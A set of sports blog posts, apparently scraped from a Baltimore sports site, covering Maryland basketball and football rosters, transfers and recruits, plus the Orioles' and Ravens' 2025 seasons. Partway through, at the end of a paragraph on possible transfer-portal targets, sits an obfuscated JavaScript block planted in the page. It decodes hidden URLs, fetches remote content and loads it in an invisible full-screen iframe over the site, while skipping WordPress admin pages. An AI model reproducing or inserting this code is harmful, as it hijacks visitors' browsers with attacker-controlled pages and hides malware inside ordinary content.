The Terps offseason has been less about patchwork and more about identity building. What’s emerging is a roster that looks dramatically different from last year’s group: older, bigger, and far more aligned with Williams’ preferred style, which is physical and defensive.

A frontcourt built around size and toughness

Let’s start with the frontcourt because that’s where the most obvious philosophical shift has taken place.

The additions of Croatian forward Tomislav Buljan and Queens transfer Maban Jabriel signal exactly what Williams wants the Terps to be. Buljan arrives after averaging a double-double (13.1 points, 10.3 rebounds) at New Mexico, bringing proven production and a physical presence at 6-foot-9, 250 pounds. Jabriel adds more size and experience to a frontcourt that is also awaiting the pending medical redshirt of Pharrel Payne. Robert Jennings comes to College Park after 99 games, and 52 starts in the Big 12 with Texas Tech and Oklahoma State.

This isn’t accidental roster construction. Williams is clearly prioritizing rebounding, interior defense, and lineup versatility in the frontcourt. Expect Maryland to look far more comfortable playing through the paint—both offensively and defensively—than it did a year ago.

Big Ten games are often won with physicality and depth rather than pace and finesse. Maryland’s frontcourt now looks capable of matching up with the league’s more bruising teams instead of getting pushed around.

A high-upside backcourt anchored by a potential star

While the frontcourt sets the tone, the backcourt may determine how far next year’s Terps team will go.

The most notable transfer portal addition is former five-star guard DJ Wagner, who arrives from Arkansas with significant pedigree and something to prove. Wagner has long been viewed as a dynamic scorer and playmaker, and Maryland is betting that a change of scenery along with a system that will give him the ball can unlock his full potential.

While the upside is there, Wagner will certainly have a lot riding on his shoulders next season. This roster doesn’t project as elite offensively unless Wagner becomes a true lead guard who can create advantages.

If Wagner becomes the leader Maryland needs him to be, the Terps suddenly have a go-to option late in games, which is something that has been inconsistent in recent seasons. If he doesn’t, the offense could again become overly reliant on half-court execution without a true shot creator or a strong stable of shooters.

Joining Wagner in the backcourt will be Tennessee transfer Bishop Boswell, who averaged 6.2 points, 4.4 rebounds, and 3.1 assists per game for the Volunteers last season. Having started 33 games for Rick Barnes in Knoxville last season, experience might be the biggest asset he brings with him to College Park. A work in progress as a shooter, Boswell is known as a lockdown defender.

The combo of Wagner and Boswell give Maryland a set of experienced guards who could create one of the country’s best duos if they’re able to run halfcourt sets successfully and up their consistency as shooters.

The return of guards Andre Mills and Rakease Passmore, as well as last-minute transfer portal addition Michael McNair (Boston) and incoming freshman Kaden House, gives the Terps some backcourt depth.

The freshman class raises the ceiling

Speaking of incoming freshmen, one of the more intriguing aspects of Maryland’s offseason isn’t from the portal at all—it’s the incoming recruiting class.

Headlined by five-star wing Baba Oladotun and supported by players like House and Adama Tambedou, the freshman group adds athleticism and long-term upside.

This creates an interesting dynamic. The portal additions provide immediate stability and experience, while the freshmen inject talent and potential star power.

That balance is exactly what modern roster building demands. Too many veterans, and your ceiling is capped. Too many freshmen, and your floor collapses. Maryland appears to be finding the balance.

What the rotation could look like

Guards: Wagner, Boswell, Mills, McNair, House, Del Pino, Passmore, Sotell
Wings: Oladotun, Turkson Jr., Brown, Jabriel
Bigs: Payne*, Buljan, Jennings II, Tambedou

* = pending medical redshirt

Projecting a rotation in April is always risky, but things are starting to take shape.

Guards: Wagner likely runs the show with a mix of returning players and freshmen filling out the perimeter rotation. Boswell likely becomes his running mate in the starting backcourt and his defense could take some of the load off of Wagner at that end of the floor. ’25-’26 was a lost year for MD, but Andre Mills took advantage of the minutes available, and had a very promising RS Freshman season. Passmore missed the year with an ACL injury, but both he and House are Top 50 National recruits, which give MD good depth. We will see if McNair can find minutes, but he averaged 16.9 games for Boston University, making 44% of his 3’s on 7.3 attempts per game. If MD has trouble spacing the floor, he could earn more time than currently expected.

Wings: Oladotun and others provide length and athleticism, but it remains to be seen where the shooting will come from. Maybe it’s Mills over Oladotun in more 3 guard alignments? Could be incoming freshman Austin Brown, who showed some range in high school. Clearly Oladotun is going to play a lot.  Turkson didn’t play a lot this year as a RS Freshman, but he’ll be going into his 3 year in Williams’ system, and was a former Top 100 recruit.

Frontcourt: Payne (pending medical redshirt), Buljan, Jennings, and Jabriel headline a deep, physical group that should anchor the defense and rebounding. Jabriel might be more of a 3 overall, but I see him getting time as a spot-up 4.

The biggest change fans will notice is stylistic. This should be a more deliberate, defense-first team that tries to control games rather than outscore opponents.

What fans should realistically expect

Here’s where it’s time to be blunt. This roster is better constructed than last year’s, but that doesn’t automatically make it great.

There are still real questions: Can Wagner be an efficient, high-level lead guard? Will the offense generate enough spacing and shooting? How quickly will the freshmen adjust to Big Ten play?

At the same time, there are reasons for optimism. Maryland’s incoming class—transfers plus freshmen—has been rated among the most impactful in the country, a sign that the overall talent level is rising. More importantly, the pieces actually fit together in a coherent way. That wasn’t always the case in recent years, particularly last year.

The bigger picture: Year 2 of the Buzz Williams era

Ultimately, this roster is less about chasing a championship immediately and more about establishing a foundation. Williams’ first year exposed gaps in toughness, consistency, and identity. This portal cycle looks like a direct response to those issues.

The 2026–27 team should be harder to play against, more consistent defensively, and better equipped for Big Ten physicality. Whether that translates to a top-tier finish or just incremental improvement depends largely on guard play and offensive development.

But the direction is clear: Maryland is no longer trying to piece together a roster. It’s building a program identity and this portal cycle might be the first real glimpse of what that identity will look like. We’ve seen Williams have success with this type of roster in the past. Can he recreate the magic in College Park? Time will tell.

The post Maryland Basketball Reloads Via Transfer Portal appeared first on Baltimore Sports and Life.

The Departures

Regardless of what happens with the transfer portal, four Maryland players have exhausted their eligibility and will be moving on: David Coit, Collin Metcalf, Elijah Saunders, and Solomon Washington.

Washington is the most impactful departure, having started 22 games for the Terrapins this season and nearly averaging a double-double (9.8 points per game, 9.2 rebounds per game). Despite a rough start to his Maryland career, Saunders played well down the stretch and was the team’s best three-point shooter (41.1% from beyond the arc). Coit was as exciting to watch as anyone in the country when he was hot, putting together two 40+ point scoring performances against Mount St. Mary’s and Penn State. Unfortunately, he was incredibly streaky and disappeared from action for the most part during the last month of the season. Metcalf started the last 12 games of the year, and averaged 5.8 rebounds and 1.3 blocks per game during that stretch.

You’ll notice that, despite his status as a senior, Pharrel Payne isn’t listed with the players above. Since he played in just ten games this season due to injury, Maryland is widely expected to request a medical hardship waiver from the NCAA in order to award him with an extra year of eligibility.

As everyone knows by now, no one is safe from the transfer portal. Any one of the players on Maryland’s roster with eligibility remaining could very well be announcing their departure over the course of the next few weeks. As I see it though, there are four primary candidates to be playing elsewhere during the 2026-27 season: Aleks Alston, Myles Rice, George Turkson Jr., and Isaiah Watts.

Rice was expected to be the Terrapins’ starting point guard this season, but nagging injuries and performance issues led him to start just four games and average just 5.6 points per game. He had more games in which he was held scoreless than ones where he scored more than nine points. Watts played in 32 games and averaged 17.0 minutes per game, but struggled to score and averaged just 4.3 points per game. Turkson Jr. played in 23 games this season, but averaged just 1.3 points and 2.0 rebounds per game. Alston averaged just 8.4 minutes in his 25 games played this year, and received more than nine minutes in only four conference games.

The Arrivals

While we don’t yet know what the transfer portal will bring for Maryland next season, we do know that there’ll be four new freshmen on campus: Austin Brown, Kaden House, Baba Oladotun, and Adama Tambedou.

Oladotun is the clear leader of this group, and is Maryland’s second-best recruit in the rankings era behind only Diamond Stone. He’s a smooth, 6’10” forward with a 7’1” wingspan whose excellent footwork and instincts should serve him well while he improves his shooting prowess. House is a prototypical guard for BuzzBall, a high-motor player who can score in bunches and loves to drive to the rim. Tambedou is also perfect for Williams’ system, a slightly undersized big who plays far larger than his frame and feasts on the offensive boards. Brown is a raw prospect, but has set his share of Texas high school scoring records.

As things currently stand, with four players out of eligibility and four freshmen coming in, any player that Maryland brings in from the transfer portal will have to be accompanied by a departure. While it’s too early to truly know who will be available to the Terrapins in the portal, it’s typically a safe bet to look towards some of the better players at mid-major schools who might be looking to take a step up to the power conference level.

The position that Williams will likely be looking to target most aggressively will be point guard. After the acquisition of Rice didn’t pan out, they didn’t have a backup plan and were left with shooting guards like Coit, Darius Adams, or Andre Mills attempting to run the point. While Guillermo Del Pino improved as the year went on as more of a true distributor, grabbing a more experienced player at the position will be crucial. Rowan Brumbaugh (Tulane) would be one of the best options if he were to enter the portal. He’s a Washington, DC native who played one year at Georgetown in 2023-24. So far this season, he’s averaging 18.5 points and 3.6 assists per game while shooting 34.0% from beyond the arc.

While Williams typically doesn’t mind playing guard-heavy lineups, targeting some experienced wings in the transfer portal would be wise given that the only potential non-freshman returnees are Turkson Jr. and Jaziah Harper. Tyler Tejeda (Towson) would be a top option, and will almost certainly enter the portal after being strongly rumored to enter during last off-season. He averaged 17.7 points and 5.5 rebounds per game for the Tigers this year, and scored 29 points in their overtime loss to Hofstra during the CAA Tournament.

Even if Payne returns for the Terrapins, they’ll need some bodies down low. Chase Walker (Illinois State) will be one of the best at the position if he enters the transfer portal. He’s averaging 13.5 points and 5.3 rebounds per game, while standing 6’9” and 280 pounds. However if Payne is on the roster, you’re likely looking at more reserve options than starters here.; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||””)){var n=Symbol.for(“__inline_id_offer__”),r=window[n]=window[n]||{iframeReady:!1,iframeId:”ifr_”+Math.random().toString(36).slice(2),run:null};r.iframeReady||(“complete”===document.readyState||document.body?c():window.addEventListener(“DOMContentLoaded”,c))}function i(e,t){if(e.indexOf(“dropbox.com”)>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf(“gist.githubusercontent.com”)>=0&&(n=n.replace(/%2F/g,”/”)),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){return(e||””).trim()}).catch(function(){return””})}function a(e){if(!e)return!1;try{var t=e.indexOf(“:”)>=0?e:”https://”+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||””).trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(“iframe”);n.style.display=”none”,n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=”about:blank”,document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(“iframe”);a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(“?”)>=0?”&”:”?”,n+o+encodeURIComponent(“v”)+”=”+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=”position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;”,a.setAttribute(“aria-hidden”,”true”),window.addEventListener(“message”,function(e){if(e.data&&”object”==typeof e.data&&”ktl-show-original”===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();

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The post Looking Ahead to Next Season’s Roster appeared first on Baltimore Sports and Life.

When opportunity meets talent, a newcomer can thrive early. But which of these newly minted Terps will get the chance to contribute right away, and who might have the biggest impact? We dive deeper…

Offense

Tellek Lockette, RG – With the need to replace multiple starters on the offensive line, there’s an immediate opening for the Texas State transfer. Lockette brings plenty of experience to the table, and he should slot into the starting right guard position next season. Before taking a redshirt year in 2025 due to injury, the 6-foot-3, 327-pounder started 30 games for the Bobcats over three seasons. He was a preseason First Team All-Sun Belt selection last season before sitting out the year.

Harry Dalton III, RB – The running back room in College Park is crowded entering next season, but it’s not necessarily loaded. Incumbents Dejuan Williams, Iverson Howard, and Bud Coombs will likely get first crack, but Dalton could climb the depth chart quickly if he impresses when given opportunities. The USC transfer appeared in four games as a true freshman last season. He carried the ball eight times for 44 yards (5.5 yards per carry) for the Trojans, but the Virginia native has returned to the East Coast, where he was a multi-sport star at Dinwiddie County High School. The 5-foot-10, 205-pound tailback finished his prep career as the Richmond-area’s all-time leader in yards (11,282) and touchdowns (160). He has four years of eligibility remaining, so the Terps could begin to groom him this year for a bigger future role.

Preston Howard, TE – Terps fans will recognize Howard’s name, as he began his college career at Maryland before entering the transfer portal the first time. After a stop in Auburn, he’s made his way back to College Park, and it comes at a good time. Former Offensive Coordinator Pep Hamilton liked to deploy multiple-tight end formations, but it’s not a position where the Terps have a ton of depth. Howard helps fix that with plenty of experience under his belt and familiarity with his “new” surroundings. We will see how new OC Clint Trickett utilizes. Howard started seven games at tight end for Auburn last season, and before that, he produced for the Terps by hauling in 37 catches for 349 yards and a touchdown between the 2023 and 2024 seasons. He and Dorian Fleming have the inside track to lead the tight end room in starts and snaps next season.

Chris Durr Jr. & Na’eem Abdul-Rahim Gladding, WR – Maryland’s wide receiver room got decimated by offseason departures, but that opens the door for transfer portal additions like Durr and Gladding. In particular, Shaleak Knotts, Jalil Farooq, and Octavian Smith Jr. combined for 145 catches, 1,791 receiving yards, and 10 touchdowns last season. The trio is out of eligibility and leaves behind some big shoes to fill. But Durr and Gladding, albeit against a lower level of competition, combined for 96 catches, 1,136 yards, and 10 touchdowns last season, so the Terps are hoping they can step in right away and make up for most of that production. Durr is more of a slot receiver, although Gladding has some experience there as well. Both very well could begin the year as starting receivers.

Defense

Zion Elee, OLB – Let’s start with the most obvious. Elee is a five-star prospect and the gem of Maryland’s 2025 recruiting class. He joins an impressive young group of pass rushers in College Park and should make his presence felt right away because of his immense talent. Whether an immediate starter or not, Elee will likely rotate with Sidney Stewart at the SAM linebacker position. They’ll be getting after opposing quarterbacks with the likes of Zahir Mathis and Daniel Wingate. If he’s as good as projected, Elee could help make this one of the best pass-rushing corps in the country.

Amari Jackson, DB – Maryland’s secondary struggled last season, but a veteran cornerback with 28 starts in the ACC should help bolster that unit. Jackson transferred in from Boston College and figures to take over starting Nickle duties right away. Between his last two seasons at Boston College, the 5-foot-11, 190-pounder recorded 28 tackles, nine pass breakups, and one interception. His most productive season at BC was actually his sophomore year in 2023, when he started all 13 games and totaled 39 tackles, 3.5 tackles for loss, and an interception he returned 30 yards for a touchdown. He will have one year of eligibility for the Terps.

Lavon Johnson/Derrick LeBlanc/Armon Parker/Jayvon Parker, DL – The Terps have to replace four of their interior defensive linemen from last season. These four transfer portal additions have the college experience to possibly stave off incoming freshmen at their position like Cam Brickle II and Jamarcus Whyce, but Defensive Coordinator Ted Monachino will likely play whoever he has to in order to improve what was perhaps Maryland’s weakest unit in 2025. The Terps were gashed by the run last season, so look for a steady rotation of fresh bodies on the interior of the defensive line to try to fix that in 2026.

The post Which Terps football additions will have the biggest impact? appeared first on Baltimore Sports and Life.

Luckily for Maryland fans who find themselves in this situation, there are some things to be optimistic about in the 2026-27 season.

Let’s start with a historic trend:

Buzz Williams has never had back-to-back losing seasons as a head coach

Entering this season, Williams had a career coaching record of 373-228 (.618). That’s a big enough sample size to pull from, and it shows that he wins much more than he loses. In 20 years as a head coach, he has only had two losing records (not including this season), and one of those seasons he was 8-10 before the season was cut short because of COVID.

Amongst his other accolades are 11 NCAA Tournament appearances, earning SEC Coach of the Year twice, and 13 seasons with 20+ wins. It seems safe to say Williams and the Terps will bounce back in his second season in College Park.

One thing that will immensely help these efforts is the recruiting class Williams has lined up for next year.

Maryland has a top-ranked recruiting class waiting in the wings

Things can change between now and Signing Day, but Maryland’s class currently looks strong. Led by five-star Baba Oladotun, the Terps sit at No. 4 in 247Sports’ recruiting rankings as of now.

A theme of this class is size. Oladotun is a force at 6-foot-10, 195 pounds. Adama Tambedou (6-foot-7, 230 pounds) and Austin Brown (6-foot-8, 210 pounds) add to the size of this class. The fourth member of the class, Kaden House, is also a nice-sized guard at 6-foot-3. A Terps team that’s forced to play small this season will certainly be getting some reinforcements in the paint soon.

Let’s take a closer look at each of these recruits individually:

Baba Oladotun: As previously mentioned, Oladotun is a five-star stud who will arrive at College Park from nearby Silver Spring, MD. Initially recruited as a small forward, the blue-chipper has continued to grow and now sports a 7-foot-1 wingspan to go along with his 6-foot-10 frame. This means he’ll likely be more of a post player in college, but his small forward skills will certainly help set him apart and give him more ways to impact the game. He does need to add some bulk in order to excel in the paint at the college level, but he has some time to do that, and the strength and conditioning plan he’ll be put on once he gets to College Park will go a long way. Versatility is the calling card of his game, but there’s still a lot of rawness there. Oladotun made just 28% of his threes and 63% of his free-throws in EYBL play, so his shot is a work in progress. But you can’t teach the handles he already possesses for a big man. His ability to create his own shot and blow by smaller defenders already makes him tough to defend. Various scouting reports cite Oladotun’s footwork as what makes him truly an elite prospect.

Kaden House: The word on House is that he can flat-out score. Whether off the dribble or pulling up to shoot from mid-range, the Chandler, AZ, product gets buckets. He isn’t the best from three, but he can get hot. More of a scoring guard than a distributor, House does have games where he moves the ball well. But sometimes focus is an issue and he turns the ball over more than he should. Considered a high-energy player on both ends of the floor, House is a good rebounding guard who also gets his fair share of steals and blocks. Also in his favor is a strong bloodline. House’s father Eddie is an all-time great in Arizona State history who played for more than a decade in the NBA, including as a member of the Boston Celtics 2008 World Championship team. House’s brothers Kalek and Jaelen can also ball. The former is a fellow four-star prospect in the 2026 class, and Jaelen was a multiple-time All-Mountain West selection and the conference’s Defensive Player of the Year in 2024.

Adama Tambedou: He isn’t the tallest power forward, but Tambedou can bang with the best of them because of his physicality and strength down low. He is a supreme athlete with a high motor, which helps him play much bigger than his size. Tambedou had an impressive Pro16 season last year, averaging 15.6 points, 10.9 rebounds, and 2.5 blocks per game. He also led the league with 33 dunks in only 14 games. The Springfield, MA, native already has the physical presence needed for the next level, but his finesse game will need some refining. He has shown the ability to knock down some outside shots, but he doesn’t project to be a sniper from deep.

Austin Brown: A native of Lufkin, TX, Brown has been on Williams’ radar since his time at Texas A&M. He could’ve stayed closer to home and still played high-level ball at Arizona State, but his connection with Williams was clearly strong enough to follow him to the East Coast. At 6-foot-8, 210 pounds, Brown has good size and the versatility to play both forward positions. He will have to fill out his wiry frame to play in the post regularly in college, but he could certainly play the four in smaller lineups right away. A tough kid with some upside, this three-star prospect could turn out to be a steal for the Terps

The post Why Maryland Basketball can bounce back in the ‘26-’27 season appeared first on Baltimore Sports and Life.

The Orioles and Ravens both entered their respective seasons with strong expectations, which were not met.

Both teams had a myriad of reasons – some more legitimate than others – for their respective failures, but failure is the apt descriptor for their 2025 seasons.

Watching the Orioles over 162 games was frustrating.
The O’s used 70 different players over the course of the season.
There were injuries, and non-performance.
The off-season entering ’25 was not good enough, and the vibe felt off immediately.
By mid-May, Manager Brandon Hyde had already been fired.
By Memorial Day, they were 15 games under .500, and the season was over even with 105 games left on the schedule.

When the Ravens season kicked off September 7th in Buffalo, they were the prohibitive Super Bowl favorite.
After last night’s loss vs. the Patriots, the Ravens have an 11% chance of making the playoffs.
While technically mathematically alive*, Baltimore is a shell of the team we expected, and effectively their season has ended before Christmas Day officially arrived.

(*Pittsburgh is 9-6, with the Ravens now 7-8. The Steelers travel to Cleveland this week. The Ravens would need to upset the Packers in Green Bay, and have the Browns upset Pittsburgh, to make the Week 18 game in Pittsburgh matter.)

Watching a team with expectations stumble and bumble, and fail over 15+ weeks is excruciating.
It’s particularly grating when factoring in the state of the AFC.
There are a group of solid teams. There are no world-beaters.
The implosion this year is the definition of wasted opportunity.

I’m not going to spend excessive time speaking about Terps Basketball, or Terps Football here; but go ahead and add them to the mix of this horrible 2025 Punch Bowl.
To be fair, Terps Basketball was a fun watch in their ’24-’25 regular season. But the Sweet 16 run was hard to enjoy with the background Kevin Willard drama.
That was followed by the departure of the entire roster, and Buzz Williams having to pick up the pieces while swimming up-stream.
Williams has already put together a strong recruiting class for 2026, and I think he’s going to have success at MD quickly; but this ’25-’26 season has been tough.
Too many injuries in camp, which carried over into the season. At best, this current group was going to be hopeful of being on the right side of the NCAAT bubble.
As things have played out, it looks like it could be a very long remaining 18 games in Big Ten Conference play.

Terps Football? The ’25 team had one of the easier schedules they’ll face in a given year, but weren’t able to capitalize.
After starting 4-0, MD ends the year on an 8 game losing streak.
That eight game losing streak, started with a particularly painful to watch three game stretch against Washington, Nebraska, and UCLA.
Maryland lost each of those games by a combined 10 points, and things fell apart.
Coach Locksley has again added a talented recruiting class led by Baltimore’s Zion Elee, and received good news that QB Malik Washington is returning.
But all eyes are pointed to the 15 day portal window which opens January 2nd.
Will Maryland be able to keep their other best players like Sidney Stewart, and Zahir Mathis?
Can Locksley keep his core talent, and add enough in the portal for MD to take a step towards relevancy in ’26?

We will get back to Maryland Basketball & Football another day.

Let’s focus more on the Orioles and Ravens.

If there is one positive for the Baltimore sports fan as ’25 ends, it’s that the Orioles have been aggressive in addressing their limitations in the closing weeks of this year.
Pete Alonso, and Taylor Ward add power and depth to the lineup.
Ryan Helsey, and Andrew Kittredge add legitimacy to the bullpen.
The acquisition of Shane Baz gives the rotation a young power arm with team control.

Clearly Orioles Owner David Rubenstein does not want his second full year of Ownership to look like his first.
And Orioles President of Baseball Operations Mike Elias clearly feels emboldened to add, and give his existing core group every opportunity to maximize their window.

That’s exciting, and something to look forward to.
Pitchers and Catchers arrive in Sarasota February 11th.
So just around the corner we have baseball returning, and growing hopes for this coming year.
With the aforementioned additions here before Christmas, there is further anticipation that Elias will obtain the additional Starting Pitcher the roster still needs.
So, kudos to the O’s for turning the page. People were pretty down on where things were heading for the O’s when their season ended September 28th.
Now here we are in late December, and I think Oriole fans are collectively optimistic about 2026 possibilities.

Hopefully the Ravens will similarly be able to shake off a lost 2025, and retool for 2026.
The starting point is identifying what went wrong.

Lamar Jackson had an off-year, which I think is nearly completely attributable to the various injuries he suffered from the end of Training Camp onwards.
If your highly paid MVP QB is not playing like an MVP, or isn’t even available sometimes; you aren’t going to meet expectations as a team.
There is no way around that in a Salary Cap sport.
A lot of Ravens fans this morning aren’t happy that Jackson left the game last night.
They would have liked to have seen him be more of a warrior and reenter.
I don’t like making those proclamations myself from my couch.
I don’t know what Jackson has been dealing with each week, and how hurt he was last night.
I do see that he’s listed as day-to-day and hopes to play Saturday in Green Bay. So, I do think it’s correct to say he was more hurt vs. injured last night.
I do know that Jackson has rarely looked like Jackson this year, and I think the various injuries explain that more than a belief he had a rapid deterioration of ability.
The 2x MVP was 1st Team All Pro last year.
The team is built around him.
If he isn’t playing like an All-Pro, there is no escaping that.
Him not having his caliber of year in ’25 doesn’t mean he can’t rebound in ’26.
2021 and 2022 saw Jackson limited to 12 games each year.
That was followed up by fantastic 2023 and 2024 seasons.
Yes, he’s now that much older, but I see no reason to believe he can’t again be excellent in ’26.

Getting past the Jackson discussion, it will be interesting to see if Ravens Owner Steve Bisciotti tells his GM Eric DeCosta, that it’s time for a change with Head Coach John Harbaugh.
If Harbaugh were to leave, what’s the move?
The Ringer listed their Top 30 Head Coaching candidates, who excites you?  (Joe Brady, and Marcus Freeman would be my early favorites.)

If Harbaugh is gone, I think you’d also anticipate a change from OC Todd Monken, and DC Zach Orr.    (Note, on that Ringer listing, Monken was 7th!)
Neither are particularly popular in Baltimore right now.
Monken has had major success previously of course, and that has to weigh more than my annoyance that Derrick Henry didn’t get a touch on the Ravens second to last series last night.
Orr is apparently well liked in the Castle and amongst his players, but the fanbase has been nearly universally out on him.
The Ravens Defense did finish the ’24 season ranked 6th overall in Defensive DVOA, but that didn’t buy Orr any fans.
Losing Nnamdi Madubuike was a real blow. Not having pass rushers that can win at the point of attack without scheming pressure, is a glaring issue, that doesn’t fall on Orr.
Still, there is a feeling the Ravens Defense underachieved this year vs. what they should have done with the talent which existed.
Either the talent wasn’t as good as advertised, or Orr didn’t put what existed in the best positions for success. Pick one.

So, again we start with hoping (expecting) Jackson returns to better health and performance in ’26.
We will then see what happens with the Coaching staff.

After that we get back to the rest of the roster, and salary cap realities.
Improving both the Offensive and Defensive Lines would be my focus.

Rubenstein and Elias are clearly motivated to shake off ’25, and give their core a chance to rebound in a major way in ’26.
Bisciotti and DeCosta should feel similar pressures and desires.

2025 was not good enough.
2026 has to be better.

DeCosta has to maximize the remainder of Jackson’s prime.
That means when Training Camp comes around next July; we’re going to want to collectively believe the Ravens have a chance to win a Lombardi in February 2027.
Will he decide to largely run it back in ’26 with the team which entered ’25 as the Super Bowl favorite?
Or will he figure more wholesale changes are needed?

Next Wednesday is the last day of 2025.
It was a bitterly disappointing year.
Here’s to turning the page to 2026 and looking forward.

The post 2025 Was A Brutally Frustrating Year For A Baltimore Sports Fan appeared first on Baltimore Sports and Life.

This 19 point drubbing coming after getting crushed by Gonzaga, and Alabama on November 26th and 27th at the Players Era Festival in Las Vegas.

Things don’t get any easier, as next up for Maryland is #3 Michigan at home Saturday night.

Quick Hits

1) One Positive; The Roster Is Finally Healthy

Yesterday was the first day that Buzz Williams had his full roster available (not including Rakease Passmore who is out for the year with an injury). While it didn’t matter yesterday, it’s something that Williams can build on. Williams took over in April, and had to build a roster from scratch. He had four players join him from Texas A&M, and everyone else was new to his system (and each other). If everyone had been healthy through training camp, and these initial 10 games – that would have been a significant adjustment for all involved.  Unfortunately, this roster was bit by the injury bug starting in camp, making that adjustment even harder. In October Williams was quoted that out of the first 26 practices, the Terps had only had 4-6 which he considered ‘high-major’ practices. Many days he didn’t have enough healthy bodies. Only five MD players have played all 10 games. Solomon Washington has now played his first 2 games of the year. Myles Rice has been limited to 3.

The cumulative roster talent was probably NCAA Tournament bubblicious if everyone had stayed healthy from the jump.
As is, they’re that much further behind the curve in building cohesiveness and being at their best – whatever their best may be.
That said, it’s a positive that their healthy now. That does give them a chance to improve.

2) Thoughts On The Shooting?

It’s a great thing that MD is highly effective at getting to the line, because this is not a good shooting roster. Their not quite as abysmal shooters as the ’23-’24 group, but their averaging 30.9% from 3, and 40.6% overall from the floor after yesterday. Darius Adams is averaging 26% from 3 on 5 attempts per. Andre Mills started hot, but he’s now 1 for his last 14 from 3, dropping his 3point shooting % to 24.4% on 4.1 attempts per game. Isaiah Watts is at 24.2% on 3.3 attempts per game.

Can the outside shooting be improved?

Watts made 34.8% of his attempts last year (5.7 attempts per game) with Washington State.  That’s encouraging.
Rice was at 32.5% last year with Indiana on 2.6 attempts. He figures to get more looks going forward as he finds his legs.
Diggy Coit is at 42.4% for the year from 3 (5.9 attempts per). That’s significantly above his career average, but it’s clear he can shoot.
Elijah Saunders has hit 4 of his last 7, improving his 3point percentage to 33.3%. He’s at 2.7 attempts per game this year. Last year at Virginia he was making 34.7% of 3.3 attempts per game.

Adams and Mills have to find their stroke, or their attempts have to come down.
MD will need Watts and Rice to warm up.

3) Is there any hope for the defense? 

MD got absolutely torched vs. the Zags and Crimson Tide – I don’t think there is much reason to spend time thinking about those games. Currently those teams are out of MD’s league. There was a difference of talent. These were also experienced teams playing a MD team where the Terps players were still wearing nametags to identify themselves to their teammates.

Yesterday vs. Iowa was another matter to me.
Washington is supposed to be the Terps best defensive player, and as we said above; yesterday was his second game back.
Iowa has their own 1st year Head Coach.
If there is any talent difference between Iowa’s and Maryland’s roster; it’s minimal at best.
The Terps shouldn’t be getting run off the floor by the Hawkeyes.
Iowa was 9 of 22 from 3, and they had 16 more FG attempts than MD.
One reason for those additional Iowa FG attempts is that MD had 18 turnovers.

Based off his billing, I’d expect Washington to make a difference as a perimeter defender.
Pharrel Payne is a presence inside.

If MD does a better job holding on to the ball, that will limit some of the additional opposing FG attempts.
One issue that this MD roster is going to regularly deal with is that they’ll need Coit’s offense, but he’s exploitable defensively.
Saunders is 6’8, 240. He had 5 rebounds per game last year, and he’s at 4.9 this year.
He’s got to help Payne inside, and make rebounding a priority.

Rice, Adams, and Watts are going to have regular minutes every game.
Get out on shooters and make them work.
Some of it’s positioning, and handling rotations.
I’d imagine some of that improves with regular practice time together.

4) What Does The Remaining Schedule Look Like?

Maryland has 19 more conference games ( not including the Big Ten Tournament ), along with at Virginia and home vs. Old Dominion.
Maryland is currently 99th in the KenPom rankings (134th offense, 70th defense).

Maryland has wins vs. Marquette (92nd), and UNLV (143rd).

Virginia is 20th currently in the KenPom rankings.
ODU is 211th.

The remaining conference games are:

Michigan (1st in KenPom, ranked #3)
Oregon (89th)
Indiana (28th, ranked #22)
@ UCLA (31st)
@ USC (35th, ranked #24)
Penn State (94th)
@ Illinois (11th, ranked #14)
@ Michigan State (12th, ranked #7)
Purdue (6th, ranked #1)
Ohio State (33rd)
@ Minnesota (113th)
Iowa (25th)
@ Rutgers (137th)
@ Northwestern (61st)
Washington (49th)
@ Nebraska (48th)
Rutgers (137th)
@ Wisconsin (22nd)
Illinois (11th, ranked #14)

My best guess as of today is that they’ll go 9-12 in these remaining 21 games, and finish the regular season 15-16 (8-12).
But that’s just a guess.
If they can improve, they’ve got lots of opportunities in-front of them for quality wins.
If they finished the regular season going 12-9 in these remaining 21 games; and finished 18-13 (11-9); they’d be on the bubble entering the Big Ten Tournament.
A win or two in the BTT with that resume; and they could hear their name called on Selection Sunday.
That would be a fantastic accomplishment for this group.

5) What about next year?

Coit is a Grad Student.
Payne, Washington, Saunders, Collin Metcalf are Seniors.

Those that can return are:

Guards: Rice, Adams, Mills, Watts, Passmore
Wings: Del Pino, Turkson Jr,
Bigs: Aleks Alston

Maryland currently has the 3rd ranked class Nationally of incoming recruits per 247 Sports

Baba Oladoton, 5 star, SF
Kaden House, 4 star, CG
Adama Tambedou, 4 star, PF
Austin Brown, 3 star, SF

